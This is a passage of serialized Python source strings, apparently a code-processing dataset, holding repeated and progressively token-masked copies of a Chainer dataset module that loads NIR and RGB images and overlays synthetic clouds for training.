axis=2)\n\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.\n\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n\n alpha = cloud[:, :, 3] / 255.\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1. - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0., 255.)\n\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.\n\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n\n nir = nir[None, :, :] / 127.5 - 1.\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.\n\n nir, rgb = self.transform(nir, rgb)\n\n return nir, rgb\n", "import os\nimport sys\nimport numpy as np\nimport cv2\nimport random\nimport glob\nimport chainer\n\n\ndef read_imlist(root_dir, txt_imlist):\n with open(txt_imlist, 'r') as f:\n ret = [os.path.join(root_dir, path.strip()) for path in f.readlines()]\n return ret\n\n\ndef train_test_dataset(train_class_name, args_train, test_class_name, args_test\n ):\n mod_name = os.path.splitext(os.path.basename(__file__))[0]\n mod_path = os.path.dirname(__file__)\n sys.path.insert(0, mod_path)\n train_class = getattr(__import__(mod_name), train_class_name)\n test_class = getattr(__import__(mod_name), test_class_name)\n train = train_class(**args_train)\n test = test_class(**args_test)\n return train, test\n\n\nclass TestNIRRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nirrgb = np.concatenate((nir[:, :, None], rgb), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n return nirrgb,\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n\n def __len__(self):\n return len(self.nir)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n return nir,\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n\n\ndef read_imlist(root_dir, txt_imlist):\n with open(txt_imlist, 'r') as f:\n ret = [os.path.join(root_dir, path.strip()) for path in f.readlines()]\n return ret\n\n\ndef train_test_dataset(train_class_name, args_train, test_class_name, args_test\n ):\n mod_name = os.path.splitext(os.path.basename(__file__))[0]\n mod_path = os.path.dirname(__file__)\n sys.path.insert(0, mod_path)\n train_class = getattr(__import__(mod_name), train_class_name)\n test_class = getattr(__import__(mod_name), test_class_name)\n train = train_class(**args_train)\n test = test_class(**args_test)\n return train, test\n\n\nclass TestNIRRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nirrgb = np.concatenate((nir[:, :, None], rgb), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n return nirrgb,\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n\n def __len__(self):\n return len(self.nir)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n return nir,\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n\n\ndef train_test_dataset(train_class_name, args_train, test_class_name, args_test\n ):\n mod_name = os.path.splitext(os.path.basename(__file__))[0]\n mod_path = os.path.dirname(__file__)\n sys.path.insert(0, mod_path)\n train_class = getattr(__import__(mod_name), train_class_name)\n test_class = getattr(__import__(mod_name), test_class_name)\n train = train_class(**args_train)\n test = test_class(**args_test)\n return train, test\n\n\nclass TestNIRRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nirrgb = np.concatenate((nir[:, :, None], rgb), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n return nirrgb,\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n\n def __len__(self):\n return len(self.nir)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n return nir,\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n\n\nclass TestNIRRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nirrgb = np.concatenate((nir[:, :, None], rgb), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n return nirrgb,\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n\n def __len__(self):\n return len(self.nir)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n return nir,\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n\n\nclass TestNIRRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n <function token>\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n\n def __len__(self):\n return len(self.nir)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n return nir,\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n\n\nclass TestNIRRGB(chainer.dataset.DatasetMixin):\n <function token>\n\n def __len__(self):\n return len(self.rgb)\n <function token>\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n\n def __len__(self):\n return len(self.nir)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 